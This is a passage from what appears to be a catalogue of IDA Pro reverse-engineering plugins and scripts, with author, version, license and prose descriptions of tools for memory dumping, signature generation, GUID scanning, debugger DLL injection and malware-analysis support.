Last updated:| September 23, 2008  
Direct D/L link:| http://arteam.accessroot.com/releases.html?fid=46  
License type:| Free  
Description:| A set made of two programs \(an IDA plugin and a dumper\) useful
to analyze dumped memory regions inside IDA. Useful for malware or VMs to
analysis of dynamically allocated memory code sections \(full sources
included\)  
  
dump\_all/load\_all set of tools by deroko ARTeam  
  
dump\_all.exe is program which will dump all regions of a certain executable
into specified folder. All dumps are stored as r00000000.dmp where 00000000 is
virtual address of a paticilar memory region.  
  
Advice is to create always new folder for these dumped regions, as load\_all
will load all of these regions to IDA database. Just to keep everything
organized, and to avoid loading of wrong files, which could occur under some
cicumstances.  
  
load\_all.plw is and IDA plugin which will actually load all of these memory
regions into IDA database. Example plugin is compiled with IDA 5.2 SDK, but
you may compile it for other versions too.  
  
Plugin will prompt you for file, so you are free to select any of these  
.dmp, and plugin will load all of them into database. This could be useful  
when analyzing malware or some protection with many buffers, for better  
analyze of a VM, or import protection. This will avoid need to dump regions  
manually.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| ExtraPass| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Sirmabus  
Website:|
https://www.openrce.org/blog/view/839/An\_%22extra\_pass%22\_for\_IDA\_Pro  
Current version:| 2.1  
Last updated:| February 8, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| I made this little IDA plug-in to help working with some Win32
targets that don't disassemble so well. In particular exe's that have a lot of
C++ indirections and lots of embedded script stubs..  
  
It basically does a few more passes over an IDA code section. Prefers code
over data. It can find a lot of missing code, functions, and alignment blocks.
Works particularly well on large EXE's where there is a lot of disconnected
code from heavy C++ OOP, script binds, etc.  
  
Intended for typical Win32, mainly Microsoft complied binaries.  
Won't work well \(probably for the worse\) with Delphi EXE's since those tend
to have a lot of mixing of constant data in the ".text" section, but the align
and missing function options might be of use still.  
  
My 2nd attempt at it, it's simple but it works well. IMHO it's working well
now.  
Really can clean up discombobulated code.  
  
\[Feb, 8, 2007\] 2.1 A lot of improvement\!  
\[Nov, 26, 2007\] 2.0 version. Now fixes align blocks, and finds missing
functions, plus has a UI.  
\[Aug, 28, 2007\] New and improved.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| flowinsp| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://sharemation.com/servil/idaplugs  
Current version:| 0.977 beta  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com/servil/idaplugs/flowinsp-bin.zip  
License type:| Free  
Description:|
\---------------------------------------------------------------------------  
Runtime-evaluated addressing resolver plugin for Ida Pro by servil  
version 0.977 beta  
\---------------------------------------------------------------------------  
  
Flow Inspector reveals run-time evaluated call/jump targets  
\(eg. call dword ptr \[ecx+1ch\], jmp eax, etc\), especially suitable for
binaries  
written in high-level language using OOP. Resolving is done in application  
tracing mode \(thus the debuggee is fully run during plugin activity\).  
Flowinsp only runs for Win32-PE targets \(due to tracing layer API\).  
It is optional how the caller -> callee pairs are described in idabase \(as  
comments, x-refs, or by renaming o\_mem address\).  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Fubar| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| servil  
Website:| http://www.sharemation.com/servil/idaplugs/  
Current version:| 0.982 beta  
Last updated:| 2008  
Direct D/L link:| http://www.sharemation.com/servil/idaplugs/fubar-bin.zip  
License type:| Freeware  
Description:|
\---------------------------------------------------------------------------  
fubar plugin v0.982 eternal beta: post-analysis tasks for ida pro by servil  
supported ida versions: 4.90 and above till API change  
\(tested on 5.2 without backward compatibility enforcement\)  
\---------------------------------------------------------------------------  
  
various additional idabase formatting and describing, main units:  
  
\* resource parser and dereferencer  
\* mfc message map parser  
\* vcl object templates parser  
\* more... see main dialog for available steps, most jobs obvious enough  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Function String Associate| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Sirmabus  
Website:| http://www.woodmann.com/forum/showthread.php?t=11748  
Current version:|  
Last updated:| May 13, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| I thought of this idea the other day based on the observation of
"assert\(\)", development, debug text strings, etc., that software developers
often leave in programs I want to reverse.  
As I'm sure others do, I look at these comments to help me determine what a
particular function is for \(x86 binary targets that is\).  
I thought, wouldn't be nice to somehow data mine this stuff and automatically
put some of it as a function comment?  
  
Based on this, what this plug-in does is iterate through every function in IDA
and auto-comments every function that has these strings \(unless it already
has a comment\). It applies a little logic to it, to try to put the most
relevant strings first.  
  
Sort of a proof of concept thing. It's hard to say how useful it is yet.  
So far it does seem to help as I browse around a DB. I'm putting together
things a bit faster because of it.  
  
Of course it's only works as well as your target uses such messages mixed in
it's code.  
So far on programs I've used it it on, the plug-in finds such strings on about
15% of all functions.  
  
With source. If you expand on the idea, add helpful modifications, etc., share
them please.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| GUID-Finder| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Sirmabus  
Website:| http://www.openrce.org/repositories/users/Sirmabus  
Current version:| 1.0b  
Last updated:| January 17, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| A GUID/UUID finding/fixing IDA plug-in.  
  
The COM side of RE'ing \(at least with "dead listing"\) can be pretty elusive.  
With this you can at least partially glean what interfaces and classes a
target is  
using.  
  
This plug-in scans the IDB for class and interfaces GUIDs and creates the
matching  
structure with label. IDA can find these on it's own, but it often misses
them, so  
this can fill in the gap.  
Plus this plug-in allows you to easily add custom declarations, and is handy
to do  
a general audit for such GUIDs.  
  
This is based Frank Boldewin's IDA Python script that you can find here:  
http://www.openrce.org/downloads/details/250/ClassAndInterfaceToNames  
or off his home page:  
http://www.reconstructer.org/code/ClassAndInterfaceToNames.zip  
  
It's a great utility, I found me self using it regularly. But I wanted one
that  
wasn't dependant on IDA Python, and one that might be a bit faster.  
I've made some enhancements too \(see below\).  
  
Some interesting reading:  
http://en.wikipedia.org/wiki/Globally\_Unique\_Identifier  
http://en.wikipedia.org/wiki/UUID  
  
\[How to run it\]  
Just invoke it using your selected IDA hot-key, or from "Edit->Plugins".  
Normally you will want to keep the ""Skip code segments for speed"" check box
checked,  
because it can make a big difference in the run time. With unchecked, code
segments are  
also scanned. You'll want to scan the code to if the target is a Delphi, or
others where  
data tends to be code/.text segment, or if you just want to be more thorough.  
  
It might take some time to scan everything depending on the size of the IDB
your computer,  
etc..  
  
When it's done, you should see a list of interfaces and classes in the IDA log
window.  
If you want to go look at a particular entry to RE \(to look at xrefs, etc.\)
just click on  
the line and IDA will jump to it.  
  
  
\[How it works\]  
1\. Loads in GUID/UUID defs for the two text files "Interfaces.txt" and
"Classes.txt".  
A little enhancement here over Frank's format, you can have blank lines and
have  
comments prefixed with '\#' \(first char, whole line only. Not a very
forgiving parser\).  
  
In the source is "DumpLib", a utility I created to parse LIB files \(like
"uuid.lib"\)  
to gather more GUIDs. As of this build, it's a collection of Frank's original
UUIDs  
plus all the ones to be found in VS2005 libraries along with DirectX 9.1,.  
  
There could be more explicitly created in header \(.h/.hpp\) files but have
yet to make  
a utility to parse them.  
  
If you want to add custom GUID defines \(from 3rd party software, etc.\), just
edit  
these text files manually.  
  
2\. After it loads in the defs, the plug-in iterates through all segments in
your currently  
open IDB. By default it will skip code/".text" segments, and import/export
segments for  
speed. Usually you find GUIDs in the ".rdata", and ".data" segments.  
  
I originally intended to sort all the GUIDs by similarity and search with
partial wild  
cards for speed. If you take a look at the GUID defs you will see that many
GUIDs share  
common numbers that often differ only be the least significant digits
\("Data4"\).  
At least in theory, searching for groups wild cards should make searching
faster.  
Maybe next version..  
  
  
\[Known problems/issues/limitations\]  
1\. If a given GUID 16byte def just so happens to match something that is not
really a GUID,  
the plug-in will try to convert it to one regardless \(another reason not to
run it  
over code sections\). So far I have not found this to be much of issue,
although it could  
be. Could add a confirm dialog for each to let the user decide.  
  
2\. Some GUID set operations will fail. This is usually because something is
bad/wrong at the  
particular address; like a partial code def, or incorrect xref.  
The plug-in will display most of these errors in the IDA log window for manual
correction.  
  
3\. TODO: Other GUID times like "DIID", "LIBID", "CATID", usefull?  
  
Also listed in:| COM Debugging Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Guid Scanner| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| ajron  
Website:| http://ajron.vtools.pl/en/guidscanner.html  
Current version:| build 091130  
Last updated:| November 30, 2009  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| This tool scans Portable Executable files \(exe, dll, etc.\) for
Globally Unique IDentifiers \(in binary form\). The results can be copied to
the clipboard or saved as a script for the IDA disassembler and applied in the
IDA database.  
  
Usage:  
scan4g.exe \[path\]  
Also listed in:| COM Debugging Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Hex-Rays| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(3 votes\)_  
Author:| Hex-Rays sprl \(Ilfak Guilfanov\)  
Website:| http://www.hex-rays.com  
Current version:| 1.0  
Last updated:| September 17, 2007  
Direct D/L link:| _N/A_  
License type:| Commercial \(IDA Pro plugin\)  
Description:| Hex-Rays is created by Ilfak Guilfanov, famous author of IDA
Pro. It is a commercial IDA Pro plugin, and aims to be the best decompiler
ever created.  
Also listed in:| Decompilers  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Hotch| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| sp  
Website:| http://www.the-
interweb.com/serendipity/index.php?/archives/108-Hotch-1.0.0.html  
Current version:| 1.0.0  
Last updated:| July 10, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| Hotch - named after everyone's favourite TV profiler - is an IDA
plugin that can be used to profile binary files. It sets breakpoints on all
basic blocks of a program, records breakpoints hits and tries to figure out
statistics from these hits. Click here to seen an example of a simple
profiling session \(starting Notepad and exiting Notepad again\). Click here
to see a huge 6.5 MB results file that shows a larger profiling session
\(loading a file in Notepad and playing around in it\).  
  
Random Notes:  
  
\* "This is really slow for larger files". Yeah, it is really slow in IDA up
to 5.2 but Ilfak fixed some things in IDA 5.3 and it works acceptably fast
now. So patience, young padawan.  
\* "The timing results don't really make sense". Yeah, I know. Since I execute
a callback function after each breakpoint hit tight loops take
disproportionally much time. For anything but tight loops the timing results
should kinda work, at least relative to each other of course.  
\* Ignore the source file libida.hpp, it's an early version of my
experimental-at-best C++ wrapper library for the IDA SDK.  
\* I take feature requests for Hotch.  
Also listed in:| Code Coverage Tools, Profiler Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA 2 PAT| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| J.C. Roberts  
Website:| _N/A_  
Current version:| 1.0  
Last updated:|  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| For the most part, this plugin is an exercise in futility. There
are  
very few valid reasons why anyone should ever want to build signatures  
of the functions in an existing disassembly. There are better  
reasons, methods and tools for creating signatures for use with IDA.  
Most importantly, the right way to create signatures is from object  
files, object libraries or dynamically linked libraries, so please  
realize this plugin is nothing more than a kludge since we are asking  
FLAIR to do something it was not designed to do.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Option: Create patterns for Non-Auto Named Functions  
  
If you find the rare situation where you want to make patterns  
from functions in an existing database, this option is probably your  
best bet. It will only create patterns for functions without  
auto generated names and it will exclude functions marked as libraries  
\(e.g. they were already found and named through other FLAIR  
signatures\). You may want to remove named functions like \_main and  
WinMain from the resulting pattern file, since these will already  
exist in the disassembly where it's applied.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Option: Create Patterns for Library Functions Only  
  
I did include the ability to build patterns for functions IDA has  
already marked as libraries. This is forpeople doing source code  
recovery/recreation since the pattern file can be further parsed to  
figure out which header files are needed. There are probably better  
ways to go about this as well but until I have time to write specific a  
plugin for figuring out which headers are included, this can give you  
a step in the right direction.Out side of gathering information on  
applied library signatures, this feature is pointless since you're  
building patterns for function that were previously found with other  
signatures you already have.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Option: Create Patterns for Public Functions Only  
  
This could be useful when dealing with a situation where functions  
were once stored in a DLL and are now statically linked in an  
executable. It's still may a better bet to build a signature from the  
DLL and then apply it to the statically linked executable.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Option: Create Patterns For Everything  
  
You generally do NOT want to build patterns for every function in  
the disassembly. The only place where I can see a legitimate use for  
creating signatures of every function in the database is if your goal  
is to see how similar two executables are. Instead of using a hex  
editor and doing a re-synchronizing binary compare between the two  
executables,you could use IDA signatures to get a different/better  
way to visualize the similarities.  
  
There are a lot of problems with trying to do this. The first and  
most obvious problem is reserved name prefixes \(e.g. sub\_\) on  
auto generated function names. Another cascading problem is of course  
references to these names withing other functions and whether or not  
to keep these references in the patterns in order to cut down the  
number of collisions. There are plenty of other problems with this  
approach that I won't mention but there are quite a few of them.  
  
I've hacked together a simple work-around. When the user has  
selected everything mode, the plugin will prepend the auto generated  
function names with FAKE\_ and references to these sub routines are  
kept to reduce collisions. This should \(in theory\) work, since every  
reference will also have it's own public pattern in the resulting  
file. In other words, the named references will resolve to another  
\(public\) function pattern in the file. The problem with this approach  
is of course having erroneous address numbers in names of functions  
where the signature is applied \(e.g. the nameFAKE\_sub\_DEADBEEF could  
be applied to any address where a matching function is found\). My  
guess why this will work is because a module in a library may have a  
by name reference to another object in the library. The pattern file  
of a library would keep the references, since the names are defined  
in other pattern lines of the file. Of course I could be wrong but  
it's worth a shot. If need be comment out the "sub\_" tests in  
part \#7 \(references\) of make\_pattern\(\) to get rid of the refs.  
  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Option: Create Pattern For User Selected Function  
  
This allows the user to select a function from the list and  
create a pattern for it. It does not work on functions with auto  
generated names but probably could with a bit more work.  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\----------------------------------------------------------------------  
  
LIMITATIONS:  
  
\* References and tail bytes are only used by sigmake to resolve  
collisions. Auto generated names with reserved prefixes "loc\_" "byte\_"  
"dword\_" are not going to be repeatable in the binary where you would  
apply the resulting signature. If those references were kept and used  
to resolve a collision, you'd end up with a useless signature that  
would not be applied because those names do not exist in executable  
where the resulting signature is being applied.  
  
\* Reference offsets that greater than 0x8000 bytes from the  
function start may make this plugin explode or more likely, just make  
unusable patterns.  
  
\* All references are assumed to be 4 bytes long. This will cause  
some problems for situations \(e.g. processors\) where this is not true.  
  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\----------------------------------------------------------------------  
TODO:  
\* Error checking for reference offsets > 0x8000  
\* Change reference length from being fixed at 4 bytes.  
\* Create "append" versus "overwrite" dialog.  
\* Deal with the user choosing a function with an auto  
generated name in the "Single Function" mode.  
  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\----------------------------------------------------------------------  
DEVELOPMENT:  
  
I did this in MSVC++ v6. There are two projects in the workspace. One  
is for the plugin and the other for IDAG.EXE so we can debug the  
plugin once IDA loads it e.g. start the plugin and at the choose file  
dilog break. In the list of modules, you'll find "run\(\)" and other  
functions from the plugin.  
  
Depending on where you install IDA, you'll need to adjust where the  
plugin is written. I've got output set to "C:\IDA\PLUGINS\IDB2PAT.plw"  
The same is true for the location of the SDK and such.  
  
When it's set to build the debug version, there will be a lot of  
warnings due to info truncation of debug symbols. It's not a big deal.  
Also listed in:| IDA Signature Creation Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Free 4.9 SDK Library Patch| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| xtc  
Website:| http://www.woodmann.com/forum/showthread.php?t=10756  
Current version:| 0.1  
Last updated:| November 7, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| This package is for patching the Visual C++ libraries of the IDA
4.9 SDK to work with the free version.  
  
The included patchlib program serves two purposes:  
1\) Remap the export ordinals to match the free version of ida.wll.  
2\) Ensure that names are not used when importing from the library.  
  
To facilitate the remapping, patchlib needs two files, ida.wll.exports and
ida.wll.names.  
ida.wll.exports contains a list of remapped ordinals and undecorated symbol
names.  
ida.wll.names contains a list of decorated symbols.  
  
With the patched library you can build loaders and plugins.  
Processor modules are blocked by the free version.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Inject| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Jan Newger  
Website:| http://newgre.net/idainject  
Current version:| 1.0.3  
Last updated:| July 18, 2008  
Direct D/L link:| http://newgre.net/system/files/IDAInject.rar  
License type:| Free / Open Source  
Description:| This plugin allows you to inject dlls into a debugged process,
either prior to process creation or when the debugger is attached. The
injected dll can then do some fancy stuff inside the debugged process.  
To realize dll injection before process creation, new import descriptors are
added to the image import directory of the debuggee, whereas injection into an
already running process is realized via shellcode injection, which in turn
loads the dll in question.  
In either case, a full path to the dll can be supplied, so it is not necessary
for the dll to be in the search path.  
Also listed in:| Code Injection Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Plugin Depack APlib And LZMA| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| deroko / ARTeam  
Website:| http://arteam.accessroot.com  
Current version:| 1.0  
Last updated:| September 23, 2008  
Direct D/L link:| http://arteam.accessroot.com/releases.html?fid=45  
License type:| Free  
Description:| A plugin for IDA 5.2 and following, to decompress aplib or lzma
packed data in your target when analyzing with IDA.  
  
The plugin supports aPlib which is quite common in malware, but there's also
support for packman lzma compression, even if this one is very rare.  
  
Run plugin by pressing CTRL+9 and you will be prompted with a window for
unpacking or simply go to Edit->plugins->aplib depack  
  
Full C sources are included, aswell. See the readme.txt for further details
and instructions.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Stealth| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Jan Newger  
Website:| http://newgre.net/idastealth  
Current version:| 1.2  
Last updated:| December 15, 2009  
Direct D/L link:| http://newgre.net/idastealth  
License type:| Free / Open Source  
Description:| IDA Stealth is a plugin which aims to hide the IDA debugger from
most common anti-debugging techniques. The plugin is composed of two files,
the plugin itself and a dll which is injected into the debuggee as soon as the
debugger attaches to the process. The injected dll is actually responsible for
implementing most of the stealth techniques either by hooking syscalls or by
patching some flags in the remote process.  
Also listed in:| Tool Hiding Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA2PAT Reloaded| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Sirmabus  
Website:| http://www.woodmann.com/forum/showthread.php?t=11916  
Current version:| 1.0B  
Last updated:| July 19, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| An IDA Pro 5.xx plug-in to generate a pattern file.  
  
You've probably seen or more of the different variants of this plug-in:  
"ida2sig", "ida2pat", etc.  
We want to create a pattern \(".pat"\) file to assemble a FLIRT signature file
\(".sig"\), using the FLAIR utility "sigmake.exe". This will allow one to
apply these sigs to help port updats, etc.  
  
I had preferred TQN's "ida2sig" version since it fastest \(see below\) I could
find. But it had the same problems as the previous version. And I wanted to
make a build I could updated with the latest FLAIR lib, etc.  
  
\[How to run it\]  
1\. Invoke it using your selected IDA hot-key or from "Edit->Plugins".  
2\. Select the destination ".pat" file.  
3\. After it is done, convert your pattern file into a signature file using  
"sigmake.exe",.  
  
\[Design & Outstanding issues\]  
There are zero options, the assumption is you want to save only, and all
function names that are not autogenerated. That is for the most part, all
functions that are not "sub\_69B470", and "unknown\_libname\_228".  
  
There are unfortunately ambiguities, and errors using function name flags like
"pFunc->flags & FUNC\_LIB", "is\_public\_name\(\)", "dummy\_name\_ea\(\)",
etc., to determine what is a library, public, etc., function.  
  
Biggest hurdle, consider this.. You go do your RE work, you rename some
functions with a name that makes sense to you; or you just rename it
specifically so you can come back to it later using a custom sig, etc.  
Maybe all is well on the first time because IDA will see it as a user function
and thus traditional IDA2PAT will create a pattern for it. But next time after
update, etc., you apply the sig. It is no longer a "user function", IDA marks
it as a library, or worse as autogenerated. Don't like this. We want to be
able to apply a sig, work on the DB rename some functions with better fitting
names as my understanding grows, etc., then create a new patterns and not have
name collisions, etc.  
  
AFAIK there is no solid way to determine what is "autogenerated", "user-
generated" or otherwise, using the stock IDA SDK functions.  
  
What "IDA2PAT Reloaded" does is solely rely on function name patterns instead.
It simply rejects functions that start with ""sub\_..",
"unknown\_libname\_..", or that start with the characters '$', '@', '?', and
'\_', etc.  
  
This will be a problem if you intentionally use using something like
"sub\_MyFunction", or "unknown\_libname\_MyFunction", etc., as your naming
convention. This design assumes IDA is setup to display autogenerated function
names as "sub\_xxxxxx", etc., in the defaults.  
  
Speed:  
TQN's version was definitely faster then others, he replaced the file
streaming "qfprintf\(\)" with a very large buffer, then saved the buffer at
the end. The real issue was a single "qflush\(\)" call after each pattern
create in  
Quine's original code. FYI, a file "flush" causes the OS to flush it's write
cache causing a file performance hit.  
  
As a baseline, just iterating through around 100k functions \(with zero
processing\) takes ~12seconds on my machine on average. Thus, any processing
on top of that is just additive. IDA2PAT-Reloaded only adds ~3 seconds to the
base line on a modern machine.  
Also listed in:| IDA Signature Creation Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA2SICE| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Mostek  
Website:| http://mostek.subcultural.com  
Current version:| 4.09  
Last updated:| October 30, 2006  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| IDA to SoftIce is an IDA plugIn which loades IDA symbols to
SoftIce. It can export them as nms file too.  
To get the last version go to News page.  
  
I started the project in May 2000 and it took me almost 9 months to reverse
everything needed to make the plugIn \(well around 4 month of real work\).  
The main reason for the plug was that at that time, you could only see global
procedures and variables.  
And because there was no local variables in SIce, reversing was really a pain
in the .... So this plugIn solves that. :\)  
  
Some info:  
Currently PE and LE file types are suported.  
Use map2sice utilitie for all other types \( included in the package \).  
  
One of the nicest feature of the plug is that you can see structures in SIce.  
ex.: In IDA you set local/global structure and when in SIce you can use
command '? myStructure' or '? myStructure.element.element', .....  
PlugIn suports structure\(union\) in structure\(union\)\).  
Also listed in:| SoftICE Extensions  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDAAPIHelp| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Frank Boldewin  
Website:| http://www.reconstructer.org  
Current version:| 0.3  
Last updated:| October 17, 2006  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| IDAAPIHelp is a small IDAPython script, that saves time when
searching for API Information while e.g. analyzing a malware with IDA Pro. It
looks at cursor position for a valid api call and if found it tries to show
you the eligible API Info from the provided helpfile.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDAPerl| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Willem Jan Hengeveld  
Website:| http://www.xs4all.nl/~itsme/projects/idcperl  
Current version:| 0.3  
Last updated:| May 12, 2008  
Direct D/L link:| _N/A_  
License type:| Free / Open Source  
Description:| IDAPerl, is a plugin for IDA Pro, which adds Perl scripting
support.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| MFC42Ord2FuncNames| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Frank Boldewin  
Website:| http://www.reconstructer.org  
Current version:|  
Last updated:| June 03, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| MFC42Ord2FuncNames is a small IDAPython script which converts
MFC42 functions into its realnames. Normally IDA Pro should do this
automatically, but in some cases the IDA auto-analysis fails. Watch the short
flash movie included in the package for details.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| mIDA| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Tenable Network Security  
Website:| http://cgi.tenablesecurity.com/tenable/mida.php  
Current version:| 1.0.10  
Last updated:| October 21, 2008  
Direct D/L link:|
http://cgi.tenablesecurity.com/tenable/dl.php?p=mIDA-1.0.8.zip  
License type:| Free  
Description:| mIDA is a plugin for the IDA disassembler that can extract RPC
interfaces from a binary file and recreate the associated IDL definition. mIDA
is free and fully integrates with the latest version of IDA \(5.0\).  
This plugin can be used to :  
  
\* Navigate to RPC functions in IDA  
\* Analyze RPC function arguments  
\* Understand RPC structures  
\* Reconstruct an IDL definition file  
  
The IDL code generated by mIDA can be, most of the time, recompiled with the
MIDL compiler from Microsoft \(midl.exe\).  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
